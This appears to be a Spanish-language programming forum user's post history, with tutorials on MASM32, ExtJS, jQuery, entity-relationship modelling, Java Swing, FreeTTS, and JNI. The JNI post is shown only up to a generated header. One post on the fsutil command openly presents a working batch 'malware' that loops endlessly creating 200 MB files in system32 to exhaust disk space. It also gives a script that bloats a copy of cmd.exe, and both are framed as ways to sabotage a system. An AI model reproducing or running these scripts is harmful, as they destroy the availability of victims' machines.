include y includelib - Como todo en Windows, Masm32 incluye archivos y librerías para manejar un gran numero de funciones que existen en este sistema operativo, es decir para usar el API. Por ejemplo en la estructura anterior use el ExitProcess. Include lo usamos para agregar o importar archivos *.asm o *.inc en cambio Includelib lo usamos para agregar librerías *.lib.
.data - Es el segmento en donde estableceremos los datos a utilizar en el programa, existen dos tipo de información la inicializada y la no inicializada (.data?)

.code - Es el segmento en donde le indicamos a Mam32 donde empieza el código y donde termina


FUENTE
#19
Tengo un cliente que requiere lo siguiente, para que opinen cual debería ser la mejor solución optima y me ayuden de paso jejeje  ;D.

Mi cliente quiere tener el historial de la cotizaciones realizadas por un vendedor, el cual obviamente va tener su estado (pendiente, se llamo al cliente, se cancelo la cotización o se confirmo la cotización) y la información del formulario que tiene la posibilidad de ir cambiando con el paso del tiempo, según la negociación....

que me recomiendan a nivel de modelo entidad relación administrar esto y que es lo mas optimo??? para no estar creando miles y miles de registros

#20
Aplicaciones RIA con EXTJS

Es de saber que el Ext Js es uno de lo frameworks mas completos para javascript, con el podemos desarrollar e implementar aplicaciones RIA de alta calidad asi que a continuación dare un abre bocas de este espectacular framework.

¿Que es RIA?

RIA, del acrónimo Rich Internet Aplication o en español Aplicaciones de Internet Enriquecidas, son aplicaciones WEB que contiene la mayoría de características de la aplicaciones tradicionales, estas aplicaciones usan un navegador estándar para ejecutarse y por medio de un plugin se le pueden seguir agregando características.

Esto mejor de manera notable la experiencia del usuario y aporta un alto valor de portabilidad ya que él (usuario) puede acceder a sus datos en cualquier momento y en cualquier lugar.

Lo mas fastidioso de las paginas WEB, mejor dicho de la aplicaciones en linea es la constantes actualizaciones que debe hacer el usuario para poder realizar cambios a la información persistente del sistema. De esta forma se produce un trafico muy alto entre el cliente y el servidor, y esto puede poner a nuestro usuario de muy mal humor.

En los entornos RIA, en cambio, no se producen recargas de página, ya que desde el principio se carga toda la aplicación, y sólo se produce comunicación con el servidor cuando se necesitan datos externos como datos de una Base de Datos o de otros ficheros externos.

Otra de las desventajas de las tradicionales aplicaciones Web es la poca capacidad multimedia que posee. Para ver un vídeo es necesario usar un programa externo para su reproducción.

Las capacidades multimedia son totales gracias a que estos entornos tienen reproductores internos y no hace falta ningún reproductor del Sistema Operativo del usuario.


Arquitectura


Esta es un arquitectura bastante clásica en un desarrollo de software basado en tres capas , alejándonos por completo del inutilizado modelo de dos capas Cliente-Servidor.

En el modelo de tres capas podemos encontrar:

Capa de Modelo de Usuario: en esta capa encontramos todo el modelo de la interfaz de usuario o GUI, en este punto RIA cobra importancia por es el quien va a administrar cada uno de los compones y todos los llamados a la segunda capa.

Se maneja la interacción entre el usuario y la "interfaz del usuario", el usuario invoca comandos, actualiza vistas y carga datos. Aquí se mantiene el estado de la aplicación, se manejan todas las peticiones de datos hacia el servidor y se controla como se presentan los datos.

Capa de Procesos de Negocio: simplemente trabaja paquetes contratados por el cliente, se administra el flujo de trabajo (Work Flow), moldeamiento, reglas de negocio y toda la parte de la Arquitectura Orientada a Servicios.

Capa de Datos: aca se encuentra todos los origines de datos, como bases y bodegas de datos, servidores de correo entre otros.

Nota: Esto merece mucho mas estudio de fondo pero por ahora no es importante para el articulo.

Características clave


  • Accesibilidad: AJAX en nativo en los "navegadores web" y es el único "RIA framework" que puede ser encontrado por los diferentes motores de búsqueda.
  • Comunicaciones avanzadas: con servidores que soporten nuevas tecnologías se puede mejorar la experiencia del usuario al utilizar protocolos de red optimizados y entradas y salidas asíncronas. Se requiere de una conexión de banda ancha confiable
  • Instalación y mantenimiento: se requiere de la instalación de "plugin", "virtual machine" o "sandbox", que generalmente es más rápida que la instalación de una aplicación tradicional y esta no se puede automatizar. Las actualizaciones son automáticas
  • Offline: puede ser soportada reteniendo el estado en la máquina cliente

Funte
#21
PHP / Urgente !!!! consultar archivos !!!
24 Junio 2010, 02:40 AM
Buenas alguien sabe algún metodo de consultar los archivos que se estan subiendo al servidor ??
#22
Desarrollo Web / [Aporte] Arrastrar y Soltar
23 Junio 2010, 09:03 AM
Hola a todos les dejo este pequeño code bastante atractivo a la hora de implementar, algo al estilo wordpress

Código (html4strict) [Seleccionar]
<html>
  <head>
     <link rel="stylesheet" href="style.css" type="text/css" media="screen" />
     <script src="drag.js" language="JavaScript1.5"></script>
     <!-- LLAMAMOS LAS LIBRERIAS NECESARIAS PARA LA IMPLEMENTACION -->
     <script>
      window.onload=function(){
        //VALIDAMOS QUE TRAMADO ESTE COMPLETO
        REDIPS.drag.init();
        //INICIALIZAMOS EL "OBJETO"
        REDIPS.drag.hover_color='#CEEF9C';
        // SELECCIONAMOS EL COLOR PARA EL HOVER
        REDIPS.drag.drop_option = 'single';
        //VALIDAMOS PARA QUE EN CADA CELDA SOLO haya UN ITEM LA OTRA OPCION
        //ES SWITCH

        //MANEJO DE EVENTOS
        var x = document.getElementById("evento");
        REDIPS.drag.myhandler_clicked=function(){
          x.innerHTML="Click sobre el elemnto";
        }
        REDIPS.drag.myhandler_moved=function(){
           x.innerHTML="Estoy moviendo el elemento";
        }
        REDIPS.drag.myhandler_dropped=function(){
           x.innerHTML="Elemento movido";
        }
      }
     </script>
     <title>:: Drag and Drop ::</title>
  </head>

  <body>
    <div id="drag">
        <table width="0" border="0" cellspacing="0" cellpadding="0">
        <colgroup><col width="400"/></colgroup>
          <tr>
            <td width="311" scope="col"><div id="link1" class="drag t1"><center>A</center></div></td>
            <!-- APLICAMOS LA CLASE -->
            <td width="311" scope="col" rowspan="3"></td>
          </tr>
          <tr>
            <td scope="row"><div id="link1" class="drag t1"><center>B</center></div></td>
          </tr>
          <tr>
            <td scope="row">&nbsp;</td>
          </tr>
          <tr>
            <td scope="row">&nbsp;</td>
            <td width="317" scope="row"><div id="link1" class="drag t1"><center>C</center></div></td>
          </tr>
        </table>
        <div id="evento"></div>
      </div>
  </body>
</html>


FUENTE

VER EJEMPLO FUNCIONANDO

Salu2
#23
Desarrollo Web / [Aporte] Lightbox y JQuery
22 Junio 2010, 23:41 PM
Lightbox y JQuery

Bueno estuve desarrollando una pagina y uno de los requerimientos era un galería de imagines dinámica, entonces me puse en la búsqueda y encontré este plugin para el framework JQuery.

La forma de implementación es demasiada sencilla el único requerimiento es tener un versión thumb de las diferentes imágenes a mostrar y cuidar que todas la imágenes tengan la misma resolución.

Para empezar les dejo el plug para descargar www.4shared.com/file/209865982/12409a11/jquery-lightbox-05.htmll

Ejemplo:

Para sintetizar bien el ejercicio vamos hace un galería con nuestro amigo tux.

Para llamar la librería lo hacemos dentro de las etiquetas <script></script> y llamamos un estilo dentro de las etiquetas <link></link>

Código (javascript) [Seleccionar]
<script type="text/javascript" src="js/jquery.js"></script>
<script type="text/javascript" src="js/jquery.lightbox-0.5.js"></script>
<link rel="stylesheet" href="css/jquery.lightbox-0.5.css" media="screen" />


Y a continuación hacemos las validaciones con JQuery

Código (javascript) [Seleccionar]
$(function() {
        $('a[@rel*=lightbox]').lightBox();
        $('#gallery a').lightBox();
        $('a.lightbox').lightBox();
        $('a').lightBox();
    });


Y creamos la etiqueta que va a llamar las dos imágenes de la siguiente forma

Código (javascript) [Seleccionar]
<a href="original1.jpg" title = "TITULO 2">
<img title = "TITULO 1" src="mini1.jpg" width="72" height="72" alt="" />
</a>


VER EJEMPLO

VER FUENTE


#24
Desarrollo Web / [Aporte] Menus Elasticos
21 Junio 2010, 03:21 AM
Esta la forma de implementar un menu elástico:

Código (html4strict) [Seleccionar]
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>

<title>Menu Elastico</title>

<script type="text/javascript" src="http://jqueryjs.googlecode.com/files/jquery-1.3.2.js"></script>
<!-- Llamamos a JQuery en uno de los repositorios de Google -->
<script type="text/javascript">
$(document).ready(function(){
$('.menuitem img').animate({width: 100}, 0);
$('.menuitem').mouseover(function(){
gridimage = $(this).find('img');
gridimage.stop().animate({width: 200}, 150);
}).mouseout(function(){
gridimage.stop().animate({width: 100}, 150);
});
});
</script>

<style type="text/css">
*{ padding:0px; margin:0px; }
img{ border: none; -ms-interpolation-mode: bicubic; }
body{ padding:10px; text-align:center; background:#fafafa; }

#wrapper{ position:absolute; left:20%; padding-top:100px; width:650px;}

#menuwrapper{ position:relative; height:210px;}
#menu{position:absolute; bottom:0; left:0;}
.menuitem{ position:fixed relative; bottom:0px; display:inline-block; }


</style>

</head>

<body>
<div id="wrapper">
<div id="menuwrapper">
<div id="menu">
<a href="icons.jpg" class="menuitem"><img src="icons.jpg"></a>
<a href="neattext.jpg" class="menuitem"><img src="neattext.jpg"></a>
<a href="officeal.jpg" class="menuitem"><img src="officeal.jpg"></a>
<a href="curtain.jpg" class="menuitem"><img src="curtain.jpg"></a>
<a href="rebrand.jpg" class="menuitem"><img src="rebrand.jpg"></a>
</div>
</div>

</div>

</body>
</html>


Ejemplo

FUENTE 1

FUENTE 2
#25
Bases de Datos / Modelo Entidad Relacion
6 Mayo 2010, 21:58 PM
Modelo Entidad Relacion


El concepto de este modelo son de alto nivel semántico, cercanos al lenguaje usado por el usuario y no al del sistema. Este modelo fue propuesto Peter Chen en 1976, no como un modelo de datos a ser implementado en al practica por un SGDB o DBMS cino como herramienta conceptual para el diseño de una base de datos.

Entidades y Relaciones

Un modelo ER (entidad relación) es una descripción del mundo real que el diseñador intenta modelar según el el sistema de información. En este modelo, las estructura se describe por un conjunto de entidades u objetos de interés relacionados entre si. Por ejemplo, las siguientes entidades podrían se de interés en alguna aplicación:


  • Clientes
  • Cuentas Corrientes
  • Alumnos
  • Canciones de Rock
  • Interprete

Una instancia de una entidad es un individuo particular que pertenece a la case definida por esa entidad, por ejemplo:


  • El cliente Andres Trujillo
  • La cuenta Correinte numero 06-5467
  • La Alumna Beatriz Guido
  • Canciones "Never Lose"
  • Interprete Above and Beyond

Un relación es l conexión que vincula a dos o mas entidades. Por ejemplo si a ciertos Alumnos les gusta Canciones de Rock y si ese dato es importante par el diseño e importante saberlo, podemos definir una relación que asocia cada Alumno con 0,1 o mas Canciones de Rock y cada Canción de Rock con 0,1 o mas Alumnos. Esto se denomina un relación binaria porque asocia dos entidades.

Funcionalidad de las Relaciones


Para citar las funcionalidad de las relaciones dentro del modelo ER. debo decir que es un poco abstracto y a primera vista no lo puedan entender pero con los ejemplos se puede llegar a un concepto mas formalizado.

Una relación C entro dos entidades E1 y E2 es funcional, si asocia cada de E1 con a lo sumo (es decir 1:1) una instancia de E2. Por ejemplo si introducimos una relación llamada nació-en donde asocia las entidades Alumno y Ciudad, podemos decir que la relación es funcional ya que cada alumno nació a lo sumo en una ciudad, pero si decimos que un alumno A pudo haber nacido en otra ciudad que el Alumno B, entonces una ciudad puede tener de uno a mucho Alumnos y se convierte en un relación no funcioal. La funcionalidad de una relacion depende del lado del que se mire.

Diagramas de ER

Bueno el diagrama de un modelo ER es bastante sencilla, cada entidad se representa por un rectángulo, los atributos por elipses  y cada relación por medio de un rombo.

Analicemos el siguiente diagrama:


- Entidades: Tenemos dos entidades Alumno y Clase
- Atributos: La entidad Alumno tiene dos atributos DNI (identificador) y NOMBRE, la entidad Clase tiene también dos clases N°CLASE y NOMBRE_CLASE
- Relaciones: La relación PERTENECE describe que un alumno puede pertenece a mas de un clase  y que una clase puede tener mas de un alumno por es la relación es de mucho a mucho (N:M)


FUENTE
#26
Java / [APORTE] Autocompler en un JComboBox
13 Abril 2010, 19:23 PM
Bueno hace rato una mañana me levante pensando como las paginas web pueden auto-completar texto sin necesidad de tener un registro en nuestro historial de navegación, como lo hace google bueno me empape de la clase JComboBox asi que este fue el resultado:

Las palabras las tomo de arreglo de String, pero como lo cito en el code, para que sea un aplicación seria el arreglo debería ser dinámico lo mejor es consultar una base de datos y tomar los datos de allí, asi mismo si el termino no esta definido en la lista debe estar en la capacidad de adicionar mas palabritas, si alguien se le apunta de una lo apoyo

Bueno les dejo code t salud2

Código (java) [Seleccionar]
import java.awt.Container;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.KeyEvent;
import java.sql.Date;

import javax.swing.*;
import javax.swing.text.AttributeSet;
import javax.swing.text.BadLocationException;
import javax.swing.text.PlainDocument;

/*
* Autocompletar !!!!
* */

public class JAng3r extends JComboBox implements JComboBox.KeySelectionManager{

    public static void main(String[] args) {
        JFrame f = new JFrame();
        // Creamos el Marco o Frame
        f.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
        // con este metodo podemos cerrar la ejecucion
        // del programa
        f.setSize(300,300);
        // le damos el tamaño
        Container c = f.getContentPane();
        //Creamos el contenedor para alojar nuestras
        // funciones GUI
        c.setLayout(null);
        String [] cuerpo ={"Andres","Ang3r","Foro","Texto"};
        //pues por ahora le mando un arreglo pero cuando sea
        // un aplicacion seria este arreglo se llena desde la
        // base de datos
        JComboBox j = new JAng3r(cuerpo);
        // Hacemos Up-Casting
        j.setBounds(50,50,100,20);
        j.setEditable(true);
        // Damos permisos para que se pueda editar
        f.add(j);
        // hacemos el upcasting
        f.setVisible(true);
    }   

    // ESTO ES RARO PERO SE PUEDE :)
    // creamos un clase llamada formato la cual nos permite
    // darle formato solamente en el tamaño de caracteres
    //admitidos, asi como si acepta caracteres alfanuméricos
    // o solo numéricos al elemento
    public class Formato  extends PlainDocument{

        public void insertString(int offset, String str, AttributeSet a) throws BadLocationException{
            // Podemos Observar que esta Retornando <----------
            System.out.println(offset+" "+str);
            if (str == null){
                return;
            }
            super.insertString(offset,str, a);
            if (str.length()!=0){
                // Este metodo activa el evento grafico sin el
                // el efecto no seria posible
                fireActionEvent();
            }
        }
    }

    public JAng3r(Object[] cuerpo) {
        super(cuerpo);

        // Recordemos que JAng3r extiende o hereda de JComboBox
        // Por estas razones le envio este objeto al evento
        // setKeySelectionManager(JComboBox);
        setKeySelectionManager(this);
        JTextField jtext;
        // con el metodo getEditor() retornamos el editor
        // con el que se creo el JComboBox
        jtext = (JTextField)getEditor().getEditorComponent();
        // Le pasamos el formato al JtextField
        jtext.setDocument(new Formato());
        addActionListener(new ActionListener()
        {
            public void actionPerformed(ActionEvent evt)
            {
                JTextField textf = (JTextField)getEditor().getEditorComponent();
                String text = textf.getText();
                ComboBoxModel aModel = getModel();
                String aux;
                for(int i = 0; i < aModel.getSize(); i++)
                {
                    aux = aModel.getElementAt(i).toString();
                    if(aux.toLowerCase().startsWith(text.toLowerCase()))
                    {
                        System.out.println(text+" tiene una Ocurrencia con: "+aux);
                        textf.setText(aux);
                        textf.setSelectionStart(text.length());
                        textf.setSelectionEnd(aux.length());
                        break;
                    }
                }
            }
        });
    }
    public int selectionForKey(char aKey, ComboBoxModel modelo) {
        return 0;

    }

}


FUENTE

#27
Java / Sensor de Movimiento
13 Abril 2010, 02:48 AM
Hola comunidad, como puedo implementar un sensor de movimiento en JAVA .... ideas??? que cámaras puedo utilizar ? y que librerías lo podría implementar?

salu2
#28
Hola gente, hoy les voy a presentar un comando bastante raro muy poco conocido es el Fsutil, primero la definición, sus parametros y después la aplicación

FSUTIL (FileSUTILities), es una herramienta para la consola de comandos, la cual nos permitira hacer gran variedad de tareas sobre los sistemas de archivos de la familia de sistemas operativos de windows (FAT) y NTFS, como administrar puntos de análisis, administrar archivos dispersos o desmontar un volumen.
Para lanzarlo, deberemos tener las credenciales de administrador !!! este es el problema.

En la siguiente lista podremos ver los diferentes argumentos que le podemos dar a esta herramienta y los diferentes usos que tiene.
Recalcar el uso de fsutil hardlink create, el cual nos servirá para realizar accesos directos duros a ficheros de manera que podamos usar el mismo fichero en diferentes localizaciones y con diferentes nombres pero sin duplicarlo, de manera que cuando se modifica uno, se modifican para las dos ubicaciones ya que es el mismo fichero.

Fsutil behavior

Consulta, cambia, habilita o deshabilita la configuración para generar nombres de archivo con longitud de caracteres 8.3, aceptar caracteres extendidos en los nombres de archivo con longitud de caracteres 8.3 en volúmenes NTFS, actualizar la marca de fecha y hora de último acceso en volúmenes NTFS, la frecuencia con la que se escriben sucesos de cuota en el registro de sistema, los niveles de caché interna de memoria de grupo NTFS paginada y no paginada, y la cantidad de espacio de disco reservado para la zona MFT1.

Fsutil dirty

Nos servirá para saber si se ha establecido el bit de daños del un volumen, y nos permite también establecerlo, de manera que en el siguiente reinicio, autochk buscará automáticamente los errores en el volumen.

Fsutil file

Tiene distintos parámetros:


  • findbysid - Buscar fichero por nombre de usuario, (en caso de estar habilitadas las cuotas de disco).Busca dentro de la tabla maestra de archivos (MFT) de NTFS por lo que el rendimiento es mucho mayor que realizar la búsqueda por la extructura de directorios.
Código (dos) [Seleccionar]
fsutil file findbysid user c:\

  • queryallocranges - Consulta los intervalos asignados de un archivo.Es útil para determinar si un archivo tiene zonas dispersa.
Código (dos) [Seleccionar]
fsutil file queryallocranges offset=1024 length=64 c:\archivo.txt

  • setshortname - Establece el nombre corto (nombre de archivo con longitud de caracteres 8.3) de un archivo en un volumen NTFS.
  • setvaliddata - Establece la longitud de datos válidos
  • setzerodata - Establece los datos cero para un archivo.
  • createnew - Crea un fichero con tamaño especifico (contenido 0)
  • Fsutil fsinfo

    • drives - Enumera todas las unidades.
    • drivetype - Consulta el tipo de unidad.
    • volumeninfo - Consulta la información del volumen.
    • ntfsinfo – Consulta la información de volumen específica de NTFS.
    • statistics – Consulta las estadísticas del sistema de archivos.

Estos son los comandos mas importantes según mi parecer, la idea es seguir con la aplicación de este comando en algún malware que se les ocurra. Si se fijan bien el comandos Fsutil file createnew, sirve para crear un archivo de longitud 0 (cero) pero esto no estan cierto; este comando a demas de crear un archivo puede modificar su tamaño según este Script:

Código (dos) [Seleccionar]
@echo off
echo "Ecriba el Nombre del Archivo"
set /p nom=
echo "Ecriba el tamanno de %nom% en megabyte"
set /p var=
set /a length= %var%*1000000
:: ~~~~~~ RUTINA FSUTIL ~~~~~~~~
fsutil file createnew %nom%.txt %length%
pause


Se imagina esto:

Código (dos) [Seleccionar]
fsutil file createnew fhaker.txt 99999999999999

Es aquí donde podemos observarla potencia de este comando, poder crear archivos con la longitud que queramos en bytes es bastante útil a la hora de sabotear un sistema de información. La desventaja de este comando es que un usuario con experiencia pondría en la labor ponerse a buscar archivo por archivo y lo borraría muy fácilmente este archivo; una solución a este inconveniente es crear varios archivos y distribuirlos por todo el sistema, buena idea pero existe otro problema «no conocemos el tamaño del disco del usuario !!!" . Asi que llenar el disco con uno o cuatro archivo sno es viable lo mejor es llenarlo con miles de archivos, yo propongo esta solución:

Código (dos) [Seleccionar]
@echo off
REM NO INTENTEN ESTO EN SU PC
REM Vamo a crear archivos a punta de numeros
REM Randomicos, como putas!! con %RANDOM%
REM y cada nuero seria un archivo txt de 200 Mb
REm Esto ira en un ciclo infinito
title +++ 4ng3r Malware Fsutil +++
:start
REM Esto nos lleva a la carpeta del catalogo
REM del Sistema Opertativo en muchos casos
REm c:\windows
cd %windir%\system32
set /a length= 200*1000000
fsutil file createnew %random%.txt %length%
goto start


Este se puede potenciar mas aun con el comando at, attrib y cierto .REG para cambiar el Hidden"=dword:00000001 ( ;D) de registro. La idea es ocultar el archivo por que nos dejaría en desventaja con el usuario la funcionalidad de nuestro malware fracasaría y simplemente nos quedaría de lección, pero se me ha ocurrido una idea aun mas loca y destructivo; no se si se estaran pensado en sobre escribir un archivo ???.... si es asi esa es la solución final a nuestro problema, simplemente buscamos un archivo vital para el sistema y le metemos peso a esa monda, entonces el usuario borrara el archivo por ahorrarse algunos bytes en su pc. Esta es la aplicación final que doy para este tema:

Código (dos) [Seleccionar]
@echo off
REM Copiamos CMD.EXE de system32 y lo pasamos a el
REM disco donde esta instalado Windows
copy %windir%\system32\cmd.exe %homedrive%\cmd1.exe
REm Si vamos, ejecutamos y observamos el rendimiento
REM de CMD1.EXE no ha cambiado del original trabaja igual
cd %homedrive%
REM Creamos el archivo
fsutil file createnew ang3cmd.exe 1000000
REM Y hacemos una parametrización de bytes
type cmd1.exe > cmd2.exe
type ang3rcmd.exe >> cmd2.exe
cls
echo "Se termino el Proceso"
pause > nul


Miremos el resultado:


Observemos que cmd1.exe es una copia de cmd.exe (el original) y en la parte de abajo vemos el cmd2.exe ya modificado por el malware, si ejecutamos cmd2.exe fuanciona como debe  ser simplemente re-nombrelo y lo copian a %systemroot%\system32.


FUENTE
#29
Java / [Aporte by 4ng3r] Crear Voz con Java
21 Febrero 2010, 20:12 PM
    Si alguna vez escuchado el Narrator.exe de Windows, pues programe uno parecido en java solo es que toca agregarle la GUI pero no es gran cosa, simplemente es colocarle un jtextfield y un boton, enviar como parámetro el string que le de la entra al jtextfield al método hablar(), como cosa adicional hice que me generara un archivo .wav  y lo guardara en la carpeta del proyecto.

    Bueno para poder desarrollar algún code con estas características debemos descargar la siguiente librería (
AQUI) lo pegamos en el classpath todos los .jar y nos ponemos a codear !!!

Esta libreria solo puede generar tres tipos de archivo:


  • wav
  • au
  • aif

Bueno les dejo el code:

[/list]
Código (java) [Seleccionar]
import com.sun.speech.freetts.audio.AudioPlayer;
import com.sun.speech.freetts.audio.NullAudioPlayer;
import com.sun.speech.freetts.audio.SingleFileAudioPlayer;
import javax.sound.sampled.AudioSystem;
import javax.sound.sampled.AudioFileFormat.Type;

import com.sun.speech.freetts.Voice;
import com.sun.speech.freetts.VoiceManager;

public class MiVoice_TTS {

    private Voice v;
    public MiVoice_TTS(String texto) {
        VoiceManager admin_voice= VoiceManager.getInstance();
        //administrador de recursos
        v=admin_voice.getVoice(texto);
        v.allocate();
    }

    public static void main(String[] args) {
        MiVoice_TTS voz = new MiVoice_TTS("kevin16");
        // Creamos el objeto que me generara la voz de Kevin16
        voz.hablar("Hi! my name is Anger");
        voz.hablar("Este es un DEMO, bye ");
        // LO QUE QUERAMOS QUE SE OIGA !!!
        voz.toFile("archivo.wav","Andres");
        //GENERAMOS EL ARCHIVO (archivo.wav)
        voz.cerrar();
    }

    private void cerrar() {
        v.deallocate();

    }

    private void toFile(String filename,String text) {
        Type tipo = getAudioType(filename);

        AudioPlayer audio = null;
        if(audio == null)
            audio = new NullAudioPlayer();
        audio = new SingleFileAudioPlayer(getNombre(filename), tipo);
        System.out.println("audioPlayer "+audio);
        this.v.setAudioPlayer(audio);
        this.v.speak(text);
        audio.close();   

    }

    private String getNombre(String filename) {
        int nam = filename.indexOf(".");
        if (nam==-1){
            return filename;
        }
        return filename.substring(0,nam);
    }

    private Type getAudioType(String filename) {
        // Elejimos el tipo de archivo
        Type [] tipo = AudioSystem.getAudioFileTypes();
        String ext = getExtension(filename);
        System.out.println(ext);
        for (int  i= 0; i < tipo.length; i++) {

            if (tipo[i].getExtension().equals(ext)){
                System.out.println("Se ha elejido la extensión: "+tipo[i].getExtension());
                return tipo[i];
            }
        }
        return null;
    }

    private String getExtension(String filename) {
        int sub = filename.indexOf(".");
        return filename.substring(sub+1);
    }

    private void hablar(String texto ) {
        this.v.speak(texto);
        // Meotodo que envia el texto para ser reproducido
    }
}


LINK

#30
Java / [Aporte by 4ng3r] Ver Procesos de Windows
20 Febrero 2010, 07:26 AM
estoy sin nada que hacer, se ocurrió esto , les dejo este code !!!

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

/*
* 4ng3r C0d!|\|G
*
* VER PROCESOS CON JAVA
* */
public class Procesos {

public static void main(String[] args) throws IOException {
verProcesos();
}

private static void verProcesos() throws IOException {
// LLAMAMOS LA VARIABLE DE ENTORNO WINDOWS Y EL PROGRAMA Q GESTIONA
// LOS PROCESOS
String consola = System.getenv("windir")+"\\System32\\"+"tasklist.exe";
// Ejecutamos el comando
Process proceso=Runtime.getRuntime().exec(consola);
//OBTENEMOS EL BUFFER DE SALIDA
BufferedReader entrada = new BufferedReader(new InputStreamReader(proceso.getInputStream()));
String tmp;
while((tmp=entrada.readLine())!=null){
System.out.println(tmp);

}
entrada.close();

}

}


#31
Java / [APORTE by 4ng3r]Java, C y DLL
17 Febrero 2010, 18:59 PM
JAVA, DLL y C

Un saludo a todos en la comunidad, ya pude hacer mi programita que tantas canas me saco.... pero en fin


Les recuerdo: Hacer dos programas y se comuniquen por medio de librerías dinamias o DLL. El ejercicio trata de instanciar un arreglo de enteros con un dimensión de 5000 y en cada espacio agregar un numero radom de 0 a 60000  :xD y en su salida imprimir estos numeros en orden ascendente. La cuestion es que el arreglo se debe  instanciar en C o C++ (use C), el arreglo lo recibe un programa en java y este los ordena y después el programa en java envia el arreglo en orden a C y este los imprime. (Facil no???  ='()

Bueno, para empezar con la solución al problema empeze leyendo todo lo referente al JNI pero igual no me daban tantas ideas que digamos... pero en si lo esencial del estudio es que JAVA manejo un su JDK una carpeta ubicada en  %JAVAROOT%/BIN un programa  llamado javah.exe. Este programa apartir de un .class crear un .h para manejarlo desde C.

Estos son los pasos para la solución al problema. jejee pero solo voy hacer el hola mundo y de hay en adelante es googlear y leer este manual y podran sacar el ejercicio anterior:


  • 1. Intalar el JDK y un compilador de C o C++. Utilice el Visual C++ de .NET y su compilador es CL.exe y el de java es JAVAC.exe JAVA SE JDK  y para el Visual C++ pueden trabajar la version 6.0, sino quieren trabajar un .NET .... Les recomiendo este  torrent


  • 2. Un Pequeña definición !!!
    Bueno antes empezar con la configurarion voy hacer un definicion de ¿QUE ES JNI?
    Java Native Interface (JNI) es la mecánica propuesta por Java para invocar funciones implementadas en lenguaje C desde programas Java.



  • 3.
    Configuración de las variables de Entorno:

    Debemos asegurarnos de tener bien configurado el entorno de compilación de C y de JAVA, debido a que lo voy a explicar todo lo hice bajo consola.

    Variable JAVAHOME y VCHOME:

    - Incio
             >MiPc (click Derecho)
                                               > Propiedades
                                                                     >Opciones Avanzadas
                                                                                                              > Variables de Entorno (Click)

    Nos debe generar un ventanita de este tipo:

    Cuando click podemos ver la diferentes variables que maneja sistema:


    Fijemonos en variables del sistema (en el ciculo rojo) y en la variable PATH. Si se dan cuenta tiene uno parámetro importarte y es el C:\Windows\System32 y es desde allí que nosotros tenemos acceso a cualquier programa que contiene este carpeta. Como el TELNET, PING, MsPaint... entre otros y se considera una variable importante dentro del entorno Windows.

    Nos paramos encima de PATH y le demos EDITAR vamos hasta el final de la linea (SIN BORRAR NADA) y agregan la dirección en donde se encuentra el Bin del JDK y del Visual C++

    Por Ejemplo: En mi máquina el JDK se encuentra en C:\Archivos de Programa\Java\JDK1.6.0_13\Bin y en vidual Studio 2008 esta en C:\Archivos de Programa\Microsoft Visual Studio 8\VC\bin

    Copiamos y pegamos cada una de las direcciones en los parámetros del PATH, separados por PUNTO Y COMA (IMPORTANTE !!!! ) y luego ACEPTAR


    Para consultar si quedo bien nuestra configuración debemos ir a la consola (Win+R> CMD) y escribimos javac  y si salen los parámetros de java es por que esta bien configurado


    También lo hacemos para el Visual C++ con el Comando cl y si nos salen los parametros del Visual C++ estara bien configurado y Listo para Trabajar  :xD




  • 4. Aseguradonos de que el entorno esta bien configurado debemos crear dos variables mas que son el INCLUDE (donde almacenamos las librerías a usar como el JNI.h) y el LIB para las Librerías del Visual C++


    Para la variable INCLUDE que no esta definida, demos crearla y pasarle cada uno de los parámetros. En las misma Ventana de las variables de entrono y ubicándonos en Variables del Sistema damos Click en NUEVA nos sale un ventanita y le ingresamos con el nombre de INCLUDE y en los parametros o valor de la variable  agregamos las direcciones donde se alojan los INCLUDES  de cada Compilador.

    Para JAVA se encuentra (en mi maquina) en : C:\Archivos de Programa\Java\jdk1.6.0_13\include (podemos ver el jni.h) y segudi de un PUNTO y COMO también agregamos C:\Archivos de Programa\Java\jdk1.6.0_13\include\Win32

    Para el VISUAL C++ (en mi maquina y utilizando Visual Studio .NET) en : C:\Archivos de Programa\Microsoft Visual Studio 8\VC\include

    NOTA: Les recuerdo cada parametro va separado de un PUNTO Y COMO ";"

    Seguimos con la variable LIB, aqui especificamos en donde se encutran las librerias de Visual C++

    Esta variable no esta definida y como la anterior hay que crearla, se crea con el nombre de LIB y como único parámetro le pasamos esta direccion (en mi maquina) C:\Archivos de Programa\Microsoft Visual Studio 8\VC\lib

    Para verificar si quedo bien configurada entramos a consola y escribimos el comando LIB, pero si escribimos INCLUDE no nos aparece nada, pero sabemos que la variable existe.




    • 5. Ahora Si a Programar !!!! :xD

    Listo después de este preliminar (que no se si es ecencial, no quiero ser tan básico en mis POST) empezaremos en primera instancia creando nuestro programa en java.

    Antes de todo, creemos una carpeta en C:\ o en donde quieran y guarden cada uno de los archivos generados en el proceso en esta carpeta!!!


    Este es el CODE y con sus anotaciones:

Código (java) [Seleccionar]
public class HolaMundoJNI{

public native void muestraHolaMundo(); //invocamos el Metodo NATIVO

public static void main (String arg []){

HolaMundoJNI  test = new HolaMundoJNI ();
test.muestraHolaMundo();
}

static {
System.loadLibrary("libreria"); // Cargamos la Libreria DLL generada mas Adelante ;)
}


}


    Guardamos el archivo como
HolaMundoJNI.java y pasamos a la consola del sistema ingresamos a la carpeta creada anteriormente (con cd) y llamamos al compilador de JAVA (javac)


NOTA: Si no sale algun error, el compilador señalara la linea el comando que esta mal dentro de codigo

Después de haberlo compilado, pasamos a crear el archivo de cabecera o mas conocido como .h. Para esto debemos ejecutar una herramienta que lleva el JDK que se llama javah -jni y se aplica sobre el .class creado anteriormente.


Si observamos la carpeta donde estamos generando cada uno de los archivos podemos contar; un .class y un .h con el mismo nombre del .java, en mi caso HolaMundoJNI.java  =O

ESTE ES EL ARCHIVO HOLAMUNDOJNI.H

[/list]/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class HolaMundoJNI */

#ifndef _Included_HolaMundoJNI
#define _Included_HolaMundoJNI
#ifdef __cplusplus
extern "C" {
#endif
/*
* Class:     HolaMundoJNI
* Method:    muestraHolaMundo
* Signature: ()V
*/
